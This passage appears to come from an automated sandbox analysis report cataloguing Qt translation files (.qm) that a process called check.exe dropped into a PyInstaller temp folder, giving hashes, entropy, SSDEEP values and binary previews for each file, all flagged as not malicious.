SHA-512:	E9475AC80BDBBEFF54F2724A2B6BA76992F18FD1913FD8EE1540A99FD7A112B79FED5A130B6AC6D7460E4420C06354FC6E4CF7770A7C6CBD3EAC1BDAF0082DE5
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......ko....v.....q.t.b.a.s.e._.k.o.....q.t.s.c.r.i.p.t._.k.o.....q.t.m.u.l.t.i.m.e.d.i.a._.k.o... .q.t.x.m.l.p.a.t.t.e.r.n.s._.k.o

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_lt.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	165383
Entropy (8bit):	4.805977227348512
Encrypted:	false
SSDEEP:	1536:i5v3+zmayloj6yJjhnBAbnrKnGrhA7WgdXclIsooY9i:SvOzAloj6yJ9BA7riGr+7WKXc+s5ui
MD5:	8992B652D1499F5D2F12674F3F875A35
SHA1:	E22766A49612F79156C550D83C6C230345DDA433
SHA-256:	47EB5F97467DF769261421D54A5BEA1131C9FB9B6388791D38BB6574335B64BF
SHA-512:	9B8B6DBFF432F2A46C14BC183A6BAF84ACBF02BF2C5BB8C306C6538FBD9BE1C0A9015BD46728F2F652F9163AFC56B1E16D16EB95D8F7728F3C562AE9F4F1AE1E
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......ltB..0X.....)C...+...\|......P....@..9....A..9....B..:....C..:....D..;....E..;....F..<6...G..<....H..=)...I..=....P..>q...Q..>....R..?....S..@f...T..@....U..A\...V..B....W..B....X..C....Y..Cy...]..k....t..........t>......th......t.......pd...;..J'...;.._h...;.......;...{...;..J....;...)...M..l....O...R...O...............}..l9...m..lo......^S..(5..P{..+;..4...+;......+;......+O..4...+O......1...^...E@..?p..F...C...H4......HY......H.......I...D...I@..s...IA..t...IC...2..J.......J....Y..J.......J.......K...9...LD...`..L.......PS......R.......T...q...Zr...`..[`......[`..&@..\....e..\....b.._......._....P..1........E..........5........L..1...O...1...PP......7......../...........$.......$.......,.......y.......y..........K^..............x......8................L...E.......E.......E......................%..:....%.........0U.....W......Zo.....^....5.......0..I....0...F...0...\|...0.......0.......0..+\...5...}.......... D...g.. D......+....j..,.......,.......<U...+..<U

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_lv.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	89
Entropy (8bit):	4.156834975253888
Encrypted:	false
SSDEEP:	3:j2wZC4C/HzllldQlHekbxplUp1MUTJ+b:Cwv+DIUEb
MD5:	19F1B919BB531E9E12E7F707BEBD8497
SHA1:	46E82683CEA28D877C73A5CE02F965BB1130FC62
SHA-256:	03467738042A15676E504BA02CB326DCDB773B171FADA3CD62B7A0E0564314A0
SHA-512:	901D7B26CAC7A4D0FFDB39A1D25767B5BC71BED4AFBE788D70BF19D4C58A8295167111675AB45E743FDF4768AF874D69417414C01CF23D5C525A3F6C8BF7D21F
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......lv....0.....q.t.b.a.s.e._.l.v.....q.t.s.c.r.i.p.t._.l.v........)....

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_pl.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	161
Entropy (8bit):	3.8693516202048612
Encrypted:	false
SSDEEP:	3:j2wZC4C/5J/p/lAlHekHp/7KlI+rwtbWlM6Tl/z21MUPp/FOlIPldkOjehB:Cwr+26IRt6nFURkloiT
MD5:	D71EA9FEFD97464B178235150EC8759E
SHA1:	61026FE602FD1B8B442A0D341C6BD759EEC75488
SHA-256:	BD7DD0C2CAB119A973DC10C3BFF7499D9728B928B541F86056921B30C8DB78E6
SHA-512:	ECD76A7D8B8D733E635B2BFEA90A4CD387B83D9D8A4EB6D299F59FF22AAA8D617A4C886A825A1CDDD901925C7839E2C18BDD4E0CD84152641922B66B62663F77
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......pl....v.....q.t.b.a.s.e._.p.l.....q.t.m.u.l.t.i.m.e.d.i.a._.p.l.....q.t.s.c.r.i.p.t._.p.l... .q.t.x.m.l.p.a.t.t.e.r.n.s._.p.l............,..

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_pt.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	70334
Entropy (8bit):	4.732724622610353
Encrypted:	false
SSDEEP:	768:OKGUuWW+WHjS0gMBd483+Y7bDPs4RHBloLUIltlzAJnx4nnliM1OPlOibLG:JGUuWPuSgm0Jn+n4Mhj
MD5:	6656500F7A28EF820AE9F97FD47FB5BB
SHA1:	CC112B9C9513BCF7497F3417168B4C8A9F7640A9
SHA-256:	2C1E7BBF5168A64B43752DD4C547601C0BDE6D610F8671FA3E3AF38597E84783
SHA-512:	5C3CBFCF86AF6B4D949C1D914CD379E512E73BA350AF661033A386EE7FB981FBFCB43D9A35FDE7656E17BB09F64F1469F84867A780573C3359D645269461D5A6
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......pt_PTB...(......9...+...e...]..6....;.......;..-....;..;`...;..};...;.......M..6....O... ...O...w...........}..7....m..7B..........+;......+;..8S..+;..>...+O......+O..8#..H4......H.......J......K.......LD...)..L....}..PS...l..Zr...B..[`...;..[`.....\...kU.._......._.......1...?...............8...............E............,..................p........0...............v...........%...O...%..G........4...0.......0..:....0..y....0..\|....0.......0...X...5.......5...... D..=... D..Kn..+....L..,...>...,......<U..z...<U......<.......F...>...F.......H5...4..H5..=...H5..K...H5......f....p..f...1...f...;...f...I...f...\|H..f.......f.......l....................b......<...............>.......L ...........`......`..._.......A......2....e...g...e..>D...e..LW................y...,..y......y..o...y......T..L...0..'..*.0....+F...y..+F......+f......+f...C..+.z..0..+.....d.+....p0.+.....R.+.z..0U.+.....u.+....8..+....Ct.+....L..+....y..+.....Z.+......+...pc.+.....+....0..

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_ru.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	164
Entropy (8bit):	3.984562388316898
Encrypted:	false
SSDEEP:	3:j2wZC4C/oZlAlHekF8Op1MUNKJKlI+rwtbWlM4KKIPldkOSxRMugB:CwY+GIUgcIRt61oihM3
MD5:	F7A8C75408B9A34A2B185E76F51B7B85
SHA1:	065E987139C5FB809A6F9CDF3845BCD79707FDBB
SHA-256:	6492B267608C6FB76907BD8FCFC8F1EF57E9F4EBBC2E81ACA81715A88388F94A
SHA-512:	E768C5B438EC899801B22B1325F2244ACCC5E7C2EC5D270F510BC3CBC2D9A0536949C026DB7FB5862835E506A9F2020DEB2CC4001E7011FF974324542734F855
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......ru....v.....q.t.b.a.s.e._.r.u.....q.t.s.c.r.i.p.t._.r.u.....q.t.m.u.l.t.i.m.e.d.i.a._.r.u... .q.t.x.m.l.p.a.t.t.e.r.n.s._.r.u........)......,..

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_sk.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	157
Entropy (8bit):	3.7731953311404336
Encrypted:	false
SSDEEP:	3:j2wZC4C/3xRlAlHekE8lgp1MUM8lMlI+rwtbWlM5UllyIPldkOfll6kchn:CwS0+t8CIUM86IRt6KUlsoi2CVh
MD5:	24C179481B5EF574F33E983A62A34D53
SHA1:	0A67F1ED8CA4A5182F504806F8D47D499789F2D2
SHA-256:	B6ADFFD889FF96BF195CB997327E7D7005A815CAD67823FA6915A19C2D9BB668
SHA-512:	4757F3693120DAB2FBB7BCF1734EA20B3E3D9056B4B4E934A3129D660CFDC6C58B230459DB55912AF24AD5692BD221830BE0FF91E41D3EECD9439E79AC23FFE6
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......sk....v.....q.t.b.a.s.e._.s.k.....q.t.s.c.r.i.p.t._.s.k.....q.t.m.u.l.t.i.m.e.d.i.a._.s.k... .q.t.x.m.l.p.a.t.t.e.r.n.s._.s.k...........

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_sl.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	228428
Entropy (8bit):	4.726953418955661
Encrypted:	false
SSDEEP:	3072:9zQH0hOtgmiAZu0eeAEv+v49JnnSmICgr3n7jhCQUeinqyU5UggtRLGrQ2LZO+Y1:RpUsSpGr36wsR
MD5:	D35A0FE35476BE8BD149CEE46E42B5E9
SHA1:	9F3C85C115A283E5230D1EEAD84C8CB73A71FA03
SHA-256:	C44E0313A9414CC0E490B65B0C036FA11BCA959353B228886547BC2C8492034F
SHA-512:	BEEB1751882AF081E80BE93F7464D4C6322B724EFA2CBD3E1CBE709181D380C1C57E770FA962BB706D6FCF4A8CB393E3F6E187C1F604F8CEEFB201CA3200BD1C
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......slB..<....*.......+.......@...C...A.......B...<...C.......D...2...E.......F...d...G.......H...W...I.......P.......Q.......R.......S...x...T.......U...n...V...%...W.......X.......Y.......]..g~...t...V.......f..................................;..G....;..[....;...q...;..ia...;... ...M..g....O.......O.......[..,e...........}..g....m..h........Q..(5......+;..2...+;...b..+;...i..+O..2...+O...4..1......E@......F.......H4......HY...%..H.......I.......I@......IA...9..IC......J...6...J.......J.......J...^...K...7...LD......L....n..PS...U..R.......T....=..Zr......[`...V..[`......\...!,..\...8U.._..."b.._.../h..1.......E...9......4...............5........e...................$...<...$..Z....[.......,.......y...L...y..].......H.......@.......J.......6........~..........E...O...E..+....E...~..............,1...%..8r...%...........^..............................5.......0..Gx...0.......0..P....0..h....0.......0.......5...^.......... D...... D......+....`..,.......,...-...<U

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_sv.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	65851
Entropy (8bit):	4.7906769989650515
Encrypted:	false
SSDEEP:	1536:4u6DkpgyKmRmG15mGM6iFPi6Q/qTlOQZY2dKN8gKw:4u6DotUG1sGMZPi6Q/qTlO2Y2YKw
MD5:	0E85E0E0E7DDFE3D4BDE302F27047F9C
SHA1:	AE59348E0C2E4F86F99DA6CF5DAB3B7E92504B7C
SHA-256:	4B4B6FF7FD237C9DA0301B4946132E68653D15EB5FAF38E4C5FBFEBB12DD97F7
SHA-512:	8CAAB6C61E9FA26A3A289A9E4DC515D157B3092D6D4ED43861220261BD2B7CC79B35B52F9ADE4EF558B5385B37EAC14575420DD55C475F435BB95B6C1E2561B6
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`...B..............+...i...]..6....;.......;..-f...;..:;...;..t....;.......M..64...O.......O...........q...}..6\...m..6........(..+;......+;..7...+;..=...+O......+O..7c..H4......H.......J.......K....F..LD...+..L.......PS...N..Zr......[`...7..[`...N..\...h4.._....J.._....k..1...>...............7........}......D............,.................i....................................%.......%..Fc.......6...0.......0..9....0..q....0..t....0.......0.......5.......5...... D..<}.. D..I...+.......,...=X..,.......<U..r...<U...n..<.......F...=...F....F..H5......H5..<...H5..J4..H5......f.......f...1V..f...:f..f...H;..f...t&..f.......f.......l..................8......;z..............<.......Je.......6...`...&...`...!.......9......1....e.......e..=....e..J..............g...y......y.../..y..h...y......T..J...0..'[..0...K.+F...q..+F.....+f......+f...A..+.z../..+.......+....i`.+.....X.+.z../..+.....S.+....7..+....Bi.+....K..+....q..+.......+......+...i..+.....+....0..F0i.....G.

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_tr.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	110
Entropy (8bit):	3.630483009136986
Encrypted:	false
SSDEEP:	3:j2wZC4C/7zl9lAlHekDN/01MULV4LlI+rwtbWlM+N:Cw5+wUGRIRt6n
MD5:	16CDF5B9D48B0F795D532A0D07F5C3A0
SHA1:	6E403C9096B3051973E2B681DFEBBC8DD024830D
SHA-256:	F574A2CFD4715885C3DBDF5AE60995252673BD94FDAA9586F7E0586F6C1AC0EE
SHA-512:	36A0431368010157EA8A45DCB00458076CCFFC08B37E443DEBD1AAD4A30C6080803337725A7A3DCBF2B410DC7BE89CEAF6C07C46F876E4EF5B08159E3BF38E6D
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......tr....R.....q.t.b.a.s.e._.t.r.....q.t.s.c.r.i.p.t._.t.r.....q.t.m.u.l.t.i.m.e.d.i.a._.t.r

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_uk.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	164
Entropy (8bit):	4.021402900389864
Encrypted:	false
SSDEEP:	3:j2wZC4C/ZlRlAlHekCczOp1MUKUt7KlI+rwtbWlM/cFKIPldkONRMugB:CwUl0+rjIUKUcIRt6M/oioM3
MD5:	9B101363343847FE42167183320C03F0
SHA1:	F0DF2CFF913E588B7CADFDABBF69F4F632B2F96A
SHA-256:	F1621E680E1642F9463E4B07E7E78B50F9A7BDB7C321D7302039CB3405CBDEA4
SHA-512:	DA14FDF8DB514902733CAAC492293873351C595EBBE0ACB0849BECE24AB822602EE64D01051F1426CD1FC13A95D8607302CF9B515D9806FDD3BD047087DE447C
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......uk....v.....q.t.b.a.s.e._.u.k.....q.t.s.c.r.i.p.t._.u.k.....q.t.m.u.l.t.i.m.e.d.i.a._.u.k... .q.t.x.m.l.p.a.t.t.e.r.n.s._.u.k........)......,..

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_zh_CN.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	117347
Entropy (8bit):	5.8593733369029195
Encrypted:	false
SSDEEP:	1536:51dXW89nqEFu54aekvRzHHSVuf8j2+/xc3lhnbsfdAoz/w:v9qEFeLekvRznSVHJG3lhn+djY
MD5:	0D02F0DE5A12BCB338B7042DFBDAACF3
SHA1:	B7C10D249D8986AD8C6939B370407D07227A39F5
SHA-256:	28CDE75D7B32C81FEF1D4630C37B79A61DEC24B357632FF00D6365A57D8BE43B
SHA-512:	21F02EBA36B4411921EA3C70310B8E454E8FC2B8F09957FD6A63B71689DC381F7A5E2C3BDF2810734D659AB43D8A7BD46EF6436ECC52F75C71B5F5C313365444
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......zhB..+...........+.......@.......A...8...B.......C.......D.......E...V...F.......G...L...H.......I...9...P.......Q...e...R...^...S.......T...T...U.......V...\|...W.......X...o...Y.......]..4 ...;...2...;..,....;..8....;.......;.......M..4H...O.......O...........#...}..4p...m..4........N..(5......+;...f..+;..6Y..+;..<...+O...8..+O..6'..1......E@......F....Y..H4..."..HY..J...H.......I.......J.......J.......K....5..LD..._..L......PS...V..Q....6..R...N...W..../..Zr.....[`.....[`......\...lU.._......._....L..1...<........j......6...............B........I...$..K....$.......,...g...y...3.......A......r...........................9..L7......;w...E..5b...E...G.......5...%.......%..D........`..............................0.......0..8W...0..}y...0...6...0.......0.......5.......5...... D..:... D..J...+....R..,...;...,......<U..~...<U......<......F...;...F......H5...i..H5..:...H5..Jk..H5...w..VE...[..f....u..f...0X..f...9...f...E...f.......f.......f....j..g....A..l.

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qt_zh_TW.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	141
Entropy (8bit):	3.7198292994386235
Encrypted:	false
SSDEEP:	3:j2wZC4C/0N6xg/Rl/gl+kNXDelHrwtbWlMwTolIPldkOfDn:CwOO2+g6Mt63oloiUn
MD5:	ED4135D705AEF3D97F8BF6B8FF11F09C
SHA1:	308E2B8F74B863A61AD0B68F4A18ED06965EBEAA
SHA-256:	751ECDA0C33E061D91241268357FBD2F6B7F70A1116E714F28D22EFD61EC7A1A
SHA-512:	B6E6D00553A9C427130129B9D30E862028E549F372A832F0F05747C8E2A79E443F4932EC3AE177537C8BA00D26B5B6CB97D5B35426AB5229F6A468CA485BE0B1
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......zh_TW....n.....q.t.b.a.s.e._.z.h._.T.W...$.q.t.m.u.l.t.i.m.e.d.i.a._.z.h._.T.W...&.q.t.x.m.l.p.a.t.t.e.r.n.s._.z.h._.T.W

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qtbase_ar.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	160017
Entropy (8bit):	5.35627970915292
Encrypted:	false
SSDEEP:	1536:XGlAMfkX1M0RdaCkR8lfv8vtc8EFrVYA2I4AJZWEWgHg1C8COvzHKHC6Jp9NV0V7:XUr0RACkIwDEpV1Lgf1ubtw3Bb
MD5:	A7E4D0BA0FC5DF07F62CC66EC9878979
SHA1:	21FD131B23BDD1BBA7BBB86F3ED5C83876F45638
SHA-256:	E03FE68D83201543698FD7FE267DD5DFC5BFD195147E74FF2F19AC3491401263
SHA-512:	D9E6B10506FCF20B5B783F011908083D9DF6C5DF88E21B10D07F53A01AD6506A4B921C85335A25BAE54E27BAD7D01B6E240D58FDEEAABC7FF32014EC120C2ECF
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......arB..2....*.......+.......@.......A.......B..._...C......D.......E......F.......G... ...H...D...I...h...P...C...Q...g...R......S.......T.......U.......V...x...W......X.......Y.......]..'=...s......t...........]...........;..'....;..(....;.......;.......M..'e...O.......O...9...........}..'........C...=......m..'....t..........!o..(5...Z..+;..5u..+;..c...+O......1...!...D@...8..E@.....H4...,..HY..QI..H.......IC......J....1..J.......J.......LD......L.......PS......QR...R..R...V2..T.......U....]..X.......Zr.....[`......\....t..]x......_......._.......yg......1...6....E..8V..............C............................$..RN...[...0...,.......y.......y...................K...........9..R....E.."............z.......................%..F;...D...[..................................!....5.......0...I...0.......0...5...0..#....5.......5...p..............W}.. D..(... D..P=..+.......<U......<U......<.......H5..(...H5..P...L.......VE......VE......V....B..f...JJ..f.......f.

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qtbase_bg.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	165337
Entropy (8bit):	5.332219158085151
Encrypted:	false
SSDEEP:	1536:9ULiyUxPoT6qx+J7FJlaaMJnxjqxq+0Uiff0mbVeb7wiEwYuYqDKBkKHMXHCIMll:9ULpIVFnpwUiEujw27ncUQUz
MD5:	660413AD666A6B31A1ACF8F216781D6E
SHA1:	654409CDF3F551555957D3DBCF8D6A0D8F03A6C5
SHA-256:	E448AC9E3F16C29EB27AF3012EFE21052DAA78FABFB34CD6DFF2F69EE3BD3CDB
SHA-512:	C6AE4B784C3D302D7EC6B9CE7B27DDAF00713ADF233F1246CD0475697A59C84D6A86BAA1005283B1F89FCC0835FD131E5CF07B3534B66A0A0AA6AC6356006B8F
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......bg_BGB../......,....+..."...@...]...A.......B.......C.......D...P...E...!...F.......G.......H.......I.......P.......Q.......R...A...S...e...T.......U.......V.......W...1...X...U...Y...y...]..,....s...,...t...................P...;..+....;..-E...;..!....;..+....M..,Y...O...,...O..............}..,............=...Q...m..,....t...\|......>...(5..1...+;..<...+;..o...+O...r..1...>...D@......E@......H4......HY..[...H.......IC......J....E..J....X..J.......LD......L....L..PS......QR.."...R...`...T....X..U.......X.......Zr...q..[`...`..\.......]x......_......._....T..yg.....1...=....E..?...............L(.......(...............'...$..\....[.......,...I...y...!...y...................S...........9..]%...E..5p...........z..!q...................%..O....D..................D.....8......:......?....5...&...0.......0.. ....0...c...0..5....5.......5..................b:.. D..-... D..Z...+.......<U......<U...0..<.......H5..-...H5..[...L.......VE..#a..VE..;...V.......f...T...f...!..

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qtbase_ca.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	210159
Entropy (8bit):	4.666388181115542
Encrypted:	false
SSDEEP:	3072:P/DVhdlafzvZfeW+6kXEVjSVPzC3ceKdP2:xYf7UW+WjwP2
MD5:	B383F6D4B9EEA51C065E73ECB95BBD23
SHA1:	DD6C2C4B4888B0D14CEBFC86F471D0FC9B07FE42
SHA-256:	52E94FCC9490889B55812C5433D009B44BDC2DC3170EB55B1AF444EF4AAE1D7F
SHA-512:	9401940A170E22CE6515E3C1453C563D93869A3C3686C859491A1F8795520B61BF3F0BFE4687A7380C0CC0C75E25559354FDB5CEF916AF4C5B6CD9661464A54A
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......caB..7....*.......+.../...@..:P...A..:t...B..:....C..:....D..;=...E..<....F..<Z...G..<~...H..<....I..<....P..>....Q..>....R..?....S..?R...T..?v...U..?....V..?....W..@....X..@<...Y..@`...]../....s..1....t..........2s......#p...;.......;../....;..W....;..e+...M../3...O.......O..9.......J....}../]......8....=..9....m../....t..9Y.......S..(5..lB..+;.._...+;...=..+O..U...1.......D@..:...E@..?...H4...J..HY..~...H..."...IC...0..J....W..J....0..J.......LD..!...L...!f..PS..)...QR.."...R.......T...9~..U...9...U...z...X...>...Zr..E...[`...e..\...LD..]x..7U.._......._...M...yg..f...1...a....E..c....7.........U.......p........b.......4.......K...$.......[.......,.......y.......y...................^...........9...:...E...s...... (...z..":.......d......!....%..tQ...D.."......."......2......ve.....y...........5..#H...0...\...0..W+...0..';...0.......5..(....5..........)s.......... D..0w.. D..}...+...1...<?..5x..<U......<U..5...<...6@..H5..0...H5..~...L...9...VE..$...V...SV..f.

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qtbase_cs.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	174701
Entropy (8bit):	4.87192387061682
Encrypted:	false
SSDEEP:	3072:5WjuhX0CVRaakGjW9E8SSOQfX/JlwVOMxrboRPqWxXfQvO7zjBf:5iFGj1QfXr8Gd
MD5:	C57D0DE9D8458A5BEB2114E47B0FDE47
SHA1:	3A0E777539C51BB65EE76B8E1D8DCE4386CBC886
SHA-256:	03028B42DF5479270371E4C3BDC7DF2F56CBBE6DDA956A2864AC6F6415861FE8
SHA-512:	F7970C132064407752C3D42705376FE04FACAFD2CFE1021E615182555F7BA82E7970EDF5D14359F9D5CA69D4D570AA9DDC46D48CE787CFF13D305341A3E4AF79
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......cs_CZB..3p.....F....+.......@..!....@..Ef...A..!....A..E....B.."1...B..E....C.."U...C..E....D.."....D..F....E..#p...E..F)...F..#....F..FP...G..#....G..Fw...H..$....H..F....I..$6...I..F....P..&%...P..Gr...Q..&I...Q..G....R..&....R..G....S..&....S..H....T..&....T..H8...U..'....U..H_...V..'Z...V..H....W..'~...W..H....X..'....X..H....Y..'....Y..H....]..,....]..,....s.......t...9..................;.......;..+....;..1B...;......;..?x...;..N....;..iY...;..s3...M..,B...M..,....O.......O...w...O..rr...........}..,j...}..-....... 5...=.. ....m..,....m..-8...t.. .......ay..(5..TT..+;...A..+;..B...+;..u...+O......+O..=a..1...a...D@.."...E@..&m..E@..G...F...J...H4...=..HY..`...H.......I...J...IC......J....-..J.......J.......LD......L....(..PS.....QR.."S..R...e...T.... ..U......X.......Zr...g..[`......\......]x......_......._......._...v...yg......1...C....E..E...............=.......Q........................s...$..a....[.......,.......y.......y...y..............G..........

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qtbase_da.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	181387
Entropy (8bit):	4.755193800761075
Encrypted:	false
SSDEEP:	3072:XzswP2UvZ5aZ9jFTkmq/gnBNW/+PcWrqm2Vliz0DGdaS4KSLZjwTTgwUR0toT:j3m27AjCT
MD5:	859CE522A233AF31ED8D32822DA7755B
SHA1:	70B19B2A6914DA7D629F577F8987553713CD5D3F
SHA-256:	7D1E5CA3310B54D104C19BF2ABD402B38E584E87039A70E153C4A9AF74B25C22
SHA-512:	F9FAA5A19C2FD99CCD03151B7BE5DDA613E9C69678C028CDF678ADB176C23C7DE9EB846CF915BC3CC67ABD5D62D9CD483A5F47A57D5E6BB2F2053563D62E1EF5
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......daB..4......h....+......@...f...A.......B.......C.......D...U...E.......F...v...G.......H.......I.......P.......Q.......R...6...S...Z...T...~...U.......V.......W..."...X...F...Y...j...]..+....s.......t..................-...;..+....;..,....;../....;..;....M..+....O.......O...r...........}..,............=...8...m..,0...t...c......T...(5..B...+;..NH..+;..~H..+O..,...1...UP..D@......E@......H4...E..HY..j...H.......IC...#..J....J..J.......J.......LD......L....1..PS...B..QR......R...o...T.......U.......X.......Zr......[`...W..\....}..]x...[.._....-.._.......yg...e..1...O....E..R....7..........-!......]............................$..k....[...7...,.......y...c...y.................j4...........9..l8...E..p............z...;..................%..a....D...~.............-.....L......OH.....Uz...5.......0.......0...U...0.......0..p....5...7...5..L$..............p... D..-... D..i...+....@..<U.....<U.....<....S..H5..-2..H5..j$..L....B..VE.. ...VE..P...V......f...e...f.

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qtbase_de.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	220467
Entropy (8bit):	4.626295310482312
Encrypted:	false
SSDEEP:	3072:7w8go8+ph6JVB8XVXYWpSNEeg8+vaD+p4N8DDiEKugwGZulh15ce4M+4NsPYXCZW:88h8Sj286tTiDD
MD5:	40760A3456C9C8ABE6EA90336AF5DA01
SHA1:	B249AA1CBF8C2636CE57EB4932D53492E4CE36AC
SHA-256:	553C046835DB9ADEF15954FA9A576625366BA8BFD16637038C4BCD28E5EBACE1
SHA-512:	068E55F39B5250CC937E4B2BD627873132D201D351B9351BE703CD9B95D3BAFB4BD649CB4DF120A976D7C156DA679758D952CAC5E0523107244E517D323BC0C5
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`.......de_DEB..7....*.......+..3....@..R....A..R....B..S....C..S@...D..S....E..T]...F..T....G..T....H..T....I..U#...P..W....Q..W6...R..W....S..W....T..W....U..W....V..XG...W..Xk...X..X....Y..X....]..2%...s..J$...t..9R......J.......B....;..1....;..3....;..q....;.......M..2O...O.......O..X@......ia...}..2y......Q....=..Q....m..2....t..Q...........(5......+;..ev..+;......+O..oh..1....4..D@..R...E@..WZ..H4..4...HY...[..H...AY..IC..>o..J...>...J.......J...>6..LD..@A..L...@...PS..I...QR..#...R....h..T...W...U...Xh..U....~..X...]...Zr..e(..[`..)...\...j...]x..O..._....K.._...lI..yg...U..1...f....E..i....7..........o.......wG......6.......6.......8....$...n...[..8....,..9....y.......y..=................3......>....9.......E..."......?_...z..#d.......0......A%...%..z....D..A.......B......KP......2.............^...5..B....0.......0..p....0..F....0...}...5..G....5..........H........... D..3}.. D...O..+...Q...<?..Ti..<U......<U..T...<...U)..H5..3...H5......L...X...VE..%j..V...l..

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qtbase_en.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	16
Entropy (8bit):	4.0
Encrypted:	false
SSDEEP:	3:j2wZC4n:CwZ
MD5:	BCEBCF42735C6849BDECBB77451021DD
SHA1:	4884FD9AF6890647B7AF1AEFA57F38CCA49AD899
SHA-256:	9959B510B15D18937848AD13007E30459D2E993C67E564BADBFC18F935695C85
SHA-512:	F951B511FFB1A6B94B1BCAE9DF26B41B2FF829560583D7C83E70279D1B5304BDE299B3679D863CAD6BB79D0BEDA524FC195B7F054ECF11D2090037526B451B78
Malicious:	false
Reputation:	unknown
Preview:	<.d....!..`...

C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\translations\qtbase_es.qm

Download File

Process:	C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe
File Type:	Qt Translation file
Category:	dropped
Size (bytes):	165170
Entropy (8bit):	4.679910767547088
Encrypted:	false
SSDEEP:	1536:JVwzuvb+Ta64KQd84arHX5pxiVhA8QlOD/BnFNa8NsvsfFsfcoZtIx6F:JVwSTG4KqVaLX5pEVK7OJFczstgRtIx8
MD5:	C7C58A6D683797BFDD3EF676A37E2A40
SHA1:	809E580CDBF2FFDA10C77F8BE9BAC081978C102B
